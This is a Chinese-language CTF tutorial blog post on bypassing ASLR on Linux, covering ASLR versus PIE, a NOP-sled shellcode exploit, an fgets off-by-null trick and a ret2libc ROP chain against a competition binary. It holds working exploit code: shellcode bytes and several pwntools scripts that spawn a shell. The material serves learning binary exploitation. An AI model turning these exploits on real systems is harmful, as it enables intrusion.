gets如何输入_如何绕过ASLR

旧城等待， 2023-01-10 12:00 94阅读 0赞

![6600529f2e1742b07e26e9c673408536.png][]

前言  
在开始介绍如何绕过aslr的技术之前，先说一下aslr和pie的区别。因为刚开始接触这一块时，我看网上好多帖子都将两者混为一谈。  
ASLR  
ASLR 不负责代码段以及数据段的随机化工作，这项工作由 PIE 负责。但是只有在开启 ASLR 之后，PIE 才会生效。  
Linux下的ASLR总共有3个级别，0、1、2

*  0就是关闭ASLR，没有随机化，堆栈基地址每次都相同，而且libc.so每次的地址也相同。
 *  1是普通的ASLR。mmap基地址、栈基地址、.so加载基地址都将被随机化，但是堆没用随机化

2是增强的ASLR，增加了堆随机化  
可以使用`cat /proc/sys/kernel/randomize_va_space`查看是否开启了aslr  
关闭aslr：`echo 0 >/proc/sys/kernel/randomize_va_space`  
PIE  
PIE叫做代码部分地址无关，PIE能使程序像共享库一样在主存任何位置装载，这需要将程序编译成位置无关，并链接为ELF共享对象。如果不开启PIE的话，那么每次ELF文件加载的地址都是相同的。如果开启PIE，那么每次都会不同。  
下面给大家演示一下aslr的效果：  
测试代码：**\#include<stdio.h>** **int** **main**(**int** argc,**char** \*argv\[\]) \{ **char** buffer\[50\]; printf("buffer is at %pn",&buffer); **if**(argc>1) strcpy(buffer,argv\[1\]); **return** 0; \}  
效果如图：

![0072ce342633b9a9a459d53be9428987.png][]

libc加载的基地址和堆栈空间都在变化  
类型一：没有开启栈不可执行  
当没有开始NX的时候，自然而然想到shellcode。但是由于系统开启了aslr,在内存布局随机化排列时，攻击者不能将执行权返回正在等待的shellcode。  
这里可以借助execl()函数。  
execl()函数声明如下：  
extern int execl(\_const char *\_path,const char* \_argv\[\],…,NULL)  
简单解释：函数execl()返回值定义为整形，如果执行成功将不返回！执行失败返回-1。  
参数列表中char \*\_path为所要执行的文件的绝对路径，从第二个参数argv开始为执行新的文件所需的参数，最后一个参数必须是控指针（我为了简便用NULL代替）。  
先给大家演示一下效果：**\#include<stdio.h>** **\#include<unistd.h>** **int** **main**(**int** argc,**char** \*argv\[\]) \{ **int** stack\_var; printf("stack\_var is at %pn",&stack\_var); execl("./aslr\_demo","aslr\_demo",NULL); \}

![a13ab0b108f9b015f13407375407b754.png][]

虽然excel（）在执行新进程时，会有一定的程度的随机排列的发生，但是使用execl（）至少可以限制随机性，为我们提供活动地址的范围，余下不确定性可以用nop填充。  
前面的aslr\_demo程序存在明显的栈溢出，没有限制参数的大小，这里就以这个例子为例。经过测试溢出点为80，因为比较简单，直接给出exp：

#include<stdio.h>
    #include<unistd.h>
    #include<string.h>
    unsigned char shellcode[]="xb0x46x31xdbx31xc9xcdx80x68x90x90x90x68x5bxc1xebx10xc1xebx08x53x68x2fx62x61x73x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80xb0x01xb3x01xcdx80";;
    int main(int argc,char *argv[]){
      unsigned int i,ret,offest;
      char buffer[1000];
      printf("i is at %pn",&i);
      if(argc>1)
      offest =atoi(argv[1]);
      ret =(unsigned int)&i-offest+200;
      printf("ret addr is %pn",ret);
      for(i=0;i<90;i++)
              *((unsigned int *)(buffer+i))=ret;
      memset(buffer+84,0x90,900);
      memcpy(buffer+900,shellcode,sizeof(shellcode));
      execl("./aslr_demo","aslr_demo",buffer,NULL);
    }

使用gcc编译时加上-m32参数，64位程序地址相差较大  
解释一下：注入大概1000个字节的nop，用于跳转到shellcode的位置，因为开始了aslr所以无法直接准确定位到shellcode的准确地址，所以采用nop填充来跳转至大概范围即可。返回地址加上200可以跳过覆盖所使用的前90个字节。

![68f3e4c9bbe444e84092b3475ffac910.png][]

但是执行的时候失败了，我认为是gcc版本编译的问题，下面会详细说。exp思想和编写都没有问题。而且在实际pwn中，很难见到不开启NX的情况，所以我也没有深究这个问题。只是为下面如何在开启NX的情形下，绕过aslr做基础，引入一种思想。  
类型二：开启NX保护  
方法一：**\#include** **<string.h>** **\#include** **<stdio.h>** **int** **call**()\{ **return** system("/bin/sh"); \} **int** **main**()\{ **char** buf\[400\]; fgets(buf,405,stdin); printf("%s",buf); printf("%d",strlen(buf)); \}  
编译时加上参数m32  
代码如上，这是某个比赛的题目，但是在编写文档之前，找了很久也没有找到，就模仿它的思想，写了一个类似的程序，为了方便演示，直接给出了后门函数call（）。  
这个题还有点小坑，因为是在我自己16.04.2-Ubuntu版本上编译的，我的gcc版本是5.4.，gcc高版本中做了优化，而且经过测试，只对32位程序有效。所以大家在测试的时候加上m32参数。

![d5de2a1d7a2b3dfbcb6049d321eabe99.png][]

大家注意一下细节，esp中的值是由ecx决定的，  
mov ecx,DWORD PTR \[ebp-0x4\]  
lea esp,\[ecx-0x4\]  
也就是说你无法像常规那种直接控制返回地址，只能间接的去控制ecx来控制esp。  
查看一下文件保护：

![1df8e1a93c3257fea1c09c6d74bcf7a3.png][]

还有一个坑，就是我在源程序中，buf缓冲区给了400的空间，但是fgets（）函数只能读入405个字节，看似是个溢出点，但是根本覆盖不了返回值，也不能覆盖ecx。但是魔高一尺，道高一丈，还是有办法的。  
先贴出exp：

**from** pwn **import** \* context.log\_level = 'debug' ret = p32(0x0804833a) system = p32(0x080484cb) r= process('./buf1') context.terminal = \['gnome-terminal', '-x', 'sh', '-c'\] gdb.attach(proc.pidof(r)\[0\]) shellcode = ret\*100+ system print len(shellcode) r.sendline(shellcode) r.interactive()

![3e157c56170514b9c771a59aa1cc2643.png][]

通过调试可以发现，ecx的低二位被覆盖为00，导致堆栈被抬高至填充有ret覆盖的地址上去，执行完填充的大量ret之后，直接system函数拿到shell。  
但是为什么ecx低二位会被覆盖的，罪魁祸首是fgets()函数。这个函数会在字符串末位填充一个字符放结束符x00.  
其实这个题的原理和上面讲的那个shellcode原理大同小异。控制eip转到esp指向的地址，开启了aslr无法预知到准确地址，用nop填充即可，可以增加实现的几率。  
成功拿到shell

![794e4f72ede8fa394a8fcd376e589eae.png][]

类型三：构造ROP链  
这是一道今年六一的时候去武汉参加全国大学生信息安全竞赛（华中赛区）的一道题目  
题目下载  
提取码：krxy  
题目内容  
先看开了什么保护，做到心中有数。

![a3a04bd8e9f114f431d64a342c08e32f.png][]

日常放入ida，在加密函数内，可以很容易的找到溢出的，数组s大小只有48，但是却用了gets函数来接收输入，并且没有限制输入长度，导致溢出。

![596025c600e091ab6073e8403b6f7a59.png][]

思路：

*  利用gets函数溢出覆盖返回值，构造rop
 *  利用puts函数leak

得到libc基址，调用system（）函数拿shell  
简单介绍一下rop：简单介绍一下rop：  
ROP全称为Return-oriented Programming（面向返回的编程）是一种新型的基于代码复用技术的攻击，攻击者从已有的库或可执行文件中提取指令片段，构建恶意代码。ROP攻击同缓冲区溢出攻击，格式化字符串漏洞攻击不同，是一种全新的攻击方式,它利用代码复用技术。  
简单用实例演示一下rop攻击流程，图上是overflow后，调用exit()函数

![048d62b2550a761c0528291208601721.png][]

1.overflow覆盖掉old ebp  
2.塞入gadget1  
3.塞入要调用函数的系统调用号，exit()的系统调用号为1，具体的可以在(https://w3challs.com/syscalls/?arch=x86)中查询  
4.系统调用，执行exit()函数。  
完成了一个简单的rop。  
解题流程  
根据思路构造payload`payload = offset+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)``payload_2 = offset + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)`  
第一步:根据

![a977798a9bfc60745a09129ac77e682a.png][]

可知构造0x50+0x7个字节覆盖ebp。因为这个题目在获取输入之后后对输入进行简单的处理。

![b34855d6db57b2741f08f91edc8ef61e.png][]

所以payload在构造的时候`payload = 'l' *7+ 'x00' + 'a'*80`  
由于gets（）函数遇到x00截断，所以这样构造可以避免对payload进行加密。  
tips:在比赛的时候忽略了这个，还傻傻写解密算法，浪费了时间，我是第四个提交的，要不还能拿个三血啥的。  
第二步：寻找合适的gadget片段。又因为System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中，如果还有更多的参数的话才会保存在栈上。而puts只需一个的传入，所以需要找pop rdi;ret用 pop 指令将栈顶数据弹入寄存器。ret到puts函数

![1641d2addeb9bb20fbee0d2498c29be8.png][]

第三步：在ida中查找puts函数在got表和plt表中的位置。  
先讲一下leak为什么要找这两个位置  
GOT(Global Offset Table)：全局偏移表用于记录在ELF文件中所用到的共享库中符号的绝对地址。在程序刚开始运行时GOT表项是空的，当符号第一次被调用时会动态解析符号的绝对地址然后转去执行，并将被解析符号的绝对地址记录在GOT中，第二次调用同一符号时，由于GOT中已经记录了其绝对地址，直接转去执行即可，不用重新解析。  
PLT(Procedure Linkage Table)：过程链接表的作用是将位置无关的符号转移到绝对地址。当一个外部符号被调用时，PLT去引用GOT中的其符号对应的绝对地址，然后转入并执行。  
还要涉及linux的延迟绑定机制  
当程序需要调用某个外部函数时，首先到 PLT 表内寻找对应的入口点，跳转到 GOT 表中。如果这是第一次调用这个函数，程序会通过 GOT 表再次跳转回 PLT 表，运行地址解析程序来确定函数的确切地址，并用其覆盖掉 GOT 表的初始值，之后再执行函数调用。当再次调用这个函数时，程序仍然首先通过 PLT 表跳转到 GOT 表，此时 GOT 表已经存有获取函数的内存地址，所以会直接跳转到函数所在地址执行函数。整个过程如下  
第一次调用：

![25202ca9313cc587063b3a415ffaef30.png][]

第二次：

![f8b9fc328b74fd34299e5d5cd41b0739.png][]

延迟绑定的核心思想是函数第一次被用到时才进行绑定，这种做法可以大大加速程序的启动速度，特别有利于一些有大量函数引用和大量模块的软件。  
从上边不难看出，got表中存的是函数的绝对地址，也就是基址加上offest后的地址，也正是我们期望泄露的地址。  
明白了概念，就在ida中找吧。  
puts\_got：

![38bd62d02bd615e89e511042676b0e05.png][]

puts\_plt:

![82c307266f9c2c01060f50626f4f5a49.png][]

第四步：找到main函数地址，让程序执行了puts()函数之后，跳回main函数继续执行  
前部分leak payload至此已经构造完成，测试

![8432b310315d2118c5b59e7d23a0f3da.png][]

泄露的地址为7ffff7a7c690  
第五步：根据后三位去libc-database中查找libc版本

![58bc4d69c00792caaad560ea50ef2682.png][]

查找结果有两个，因为脚本为本地运行，所以是第一个，实战中可以用python的一个模块去检测，下边会说。  
第六步：把对应libc库拷贝下来，放入ida，查找  
puts\_off

![076fc08695737a31be3cb0aceeba1fad.png][]

system\_off

![6d8cb24060bdac584bcbe8b2a61aae8d.png][]

bin\_off

![24a601e8c8f4b8e6b67305393881816a.png][]

所有的地址都已经找齐，exp脚本如下：  
from pwn import \* context.log\_level = True p = process('./Emachine') p.recvuntil("choice!n") p.sendline('1') p.recvuntil("encryptedn") puts\_plt = 0x4006e0 puts\_off = 0x6F690 put\_addr = 0x7ffff7a7c690 bin\_off = 0x18CD57 system\_off = 0x45390 payload = 'l' \*7+ 'x00' + 'a'\*80 payload = payload + p64(0x400c83) + p64(0x602020) + p64(0x4006e0) + p64(0x4009a0) p.sendline(payload) print p.recvline() print p.recvline() print p.recvline() print p.recvline() payload = 'l' \*7+ 'x00' + 'a'\*80 payload = payload + p64(0x400c83) + p64(put\_addr - puts\_off + bin\_off) +p64(put\_addr - puts\_off + system\_off) p.sendline(payload) p.recvline() p.recvline() p.interactive()  
其实写到这里有人会说，这道题这么简单，而且有很多py模块可以通过一个方法就可以完成你的这些手工找的工作，但是我想说的是，做什么事其实都不能过分的去依赖工具，一定要知道它的实质，看似一条命令就可以找到地址，但是一定要知道函数调用流程，这样会让你对问题有更加深刻的理解。  
我是学逆向入门ctf这个坑的，学了两年，刚开始也是依赖于od,ida,peid,windbg,edb……这些工具，但是我们导师就给我指出了了不足，一定要知道这些工具的底层实现方法，这样才能走的更高，走的更远。比如od的下段指令F2,看似很简单不就是一个，但是你想过它的原理和中断执行流程，以及计算机硬件是如何实现的，想过它的优缺点吗？我在学习逆向的时候，就看了计算机组成原理，更深入的理解了中断系统在CPU中的作用和地址。简单说一下int 3断点也就是OD中的F2:  
原理：改变断点地址处的第一个字节为CC指令，在OD中不显示  
缺点：容易被检测到，如检测MessageBoxA处CC断点  
优点：可以设置无数个  
非常推荐大家看一下程序用的自我修养这本书，看完之后对elf文件的理解会更上一层楼。学pwn一定要对堆栈调用，程序装载，链接，常见溢出的利用方法了如指掌。基础很重要，千万不要依赖工具，要知道工具背后的原理。  
贴出来exp2：  
from pwn import \* from LibcSearcher import \* context.log\_level = 'debug' r = process("./Emachine") file = ELF("./Emachine") puts\_plt = file.plt\['puts'\] puts\_got = file.got\['puts'\] main\_addr = file.symbols\['main'\] r.recvuntil("Input your choice!n") r.sendline("1") r.recvuntil("Input your Plaintext to be encryptedn") offset = 'l' \*7+ 'x00' + 'a'\*80 pop\_rdi\_addr = 0x0000000000400c83 payload = offset+ p64(pop\_rdi\_addr)+p64(puts\_got)+p64(puts\_plt)+p64(main\_addr) r.sendline(payload) r.recvuntil("Ciphertextn") r.recvuntil("n",drop=True) puts\_addr = u64(r.recvuntil("n",drop=True)+"x00x00") obj = LibcSearcher("puts", puts\_addr) libc\_puts = obj.dump("puts") base\_addr = puts\_addr-libc\_puts system\_addr = base\_addr + obj.dump("system") bash\_off = obj.dump("str\_bin\_sh") binsh\_addr = bash\_off+base\_addr payload\_2 = offset + p64(pop\_rdi\_addr)+p64(binsh\_addr)+p64(system\_addr) r.recvuntil("Input your choice!n") r.sendline("1") r.recvuntil("Input your Plaintext to be encryptedn") r.sendline(payload\_2) r.recv() r.recv() sleep(0.2) r.interactive()  
一些用于泄露libc版本的工具  
结语  
给大家安利几个我学pwn时候收集的几个优秀资源吧。https://zhuanlan.zhihu.com/p/25816426https://ctf-wiki.github.io/ctf-wiki/pwn/readme/  
这个视频非常推荐！！！！！！！  
https://www.youtube.com/channel/UC\_PU5Tk6AkDnhQgl5gAROb  
文章中如有错误和不足，希望各位大佬，能批评指正

[6600529f2e1742b07e26e9c673408536.png]: /images/20221119/70afd52cdc8440d49a89eb50b2a8304d.png
[0072ce342633b9a9a459d53be9428987.png]: /images/20221119/59762a96a50740908ae093fa2eed9ffb.png
[a13ab0b108f9b015f13407375407b754.png]: https://img-blog.csdnimg.cn/img_convert/a13ab0b108f9b015f13407375407b754.png
[68f3e4c9bbe444e84092b3475ffac910.png]: https://img-blog.csdnimg.cn/img_convert/68f3e4c9bbe444e84092b3475ffac910.png
[d5de2a1d7a2b3dfbcb6049d321eabe99.png]: https://img-blog.csdnimg.cn/img_convert/d5de2a1d7a2b3dfbcb6049d321eabe99.png
[1df8e1a93c3257fea1c09c6d74bcf7a3.png]: https://img-blog.csdnimg.cn/img_convert/1df8e1a93c3257fea1c09c6d74bcf7a3.png
[3e157c56170514b9c771a59aa1cc2643.png]: https://img-blog.csdnimg.cn/img_convert/3e157c56170514b9c771a59aa1cc2643.png
[794e4f72ede8fa394a8fcd376e589eae.png]: https://img-blog.csdnimg.cn/img_convert/794e4f72ede8fa394a8fcd376e589eae.png
[a3a04bd8e9f114f431d64a342c08e32f.png]: https://img-blog.csdnimg.cn/img_convert/a3a04bd8e9f114f431d64a342c08e32f.png
[596025c600e091ab6073e8403b6f7a59.png]: https://img-blog.csdnimg.cn/img_convert/596025c600e091ab6073e8403b6f7a59.png
[048d62b2550a761c0528291208601721.png]: https://img-blog.csdnimg.cn/img_convert/048d62b2550a761c0528291208601721.png
[a977798a9bfc60745a09129ac77e682a.png]: https://img-blog.csdnimg.cn/img_convert/a977798a9bfc60745a09129ac77e682a.png
[b34855d6db57b2741f08f91edc8ef61e.png]: https://img-blog.csdnimg.cn/img_convert/b34855d6db57b2741f08f91edc8ef61e.png
[1641d2addeb9bb20fbee0d2498c29be8.png]: https://img-blog.csdnimg.cn/img_convert/1641d2addeb9bb20fbee0d2498c29be8.png
[25202ca9313cc587063b3a415ffaef30.png]: https://img-blog.csdnimg.cn/img_convert/25202ca9313cc587063b3a415ffaef30.png
[f8b9fc328b74fd34299e5d5cd41b0739.png]: https://img-blog.csdnimg.cn/img_convert/f8b9fc328b74fd34299e5d5cd41b0739.png
[38bd62d02bd615e89e511042676b0e05.png]: https://img-blog.csdnimg.cn/img_convert/38bd62d02bd615e89e511042676b0e05.png
[82c307266f9c2c01060f50626f4f5a49.png]: https://img-blog.csdnimg.cn/img_convert/82c307266f9c2c01060f50626f4f5a49.png
[8432b310315d2118c5b59e7d23a0f3da.png]: https://img-blog.csdnimg.cn/img_convert/8432b310315d2118c5b59e7d23a0f3da.png
[58bc4d69c00792caaad560ea50ef2682.png]: https://img-blog.csdnimg.cn/img_convert/58bc4d69c00792caaad560ea50ef2682.png
[076fc08695737a31be3cb0aceeba1fad.png]: https://img-blog.csdnimg.cn/img_convert/076fc08695737a31be3cb0aceeba1fad.png
[6d8cb24060bdac584bcbe8b2a61aae8d.png]: https://img-blog.csdnimg.cn/img_convert/6d8cb24060bdac584bcbe8b2a61aae8d.png
[24a601e8c8f4b8e6b67305393881816a.png]: https://img-blog.csdnimg.cn/img_convert/24a601e8c8f4b8e6b67305393881816a.png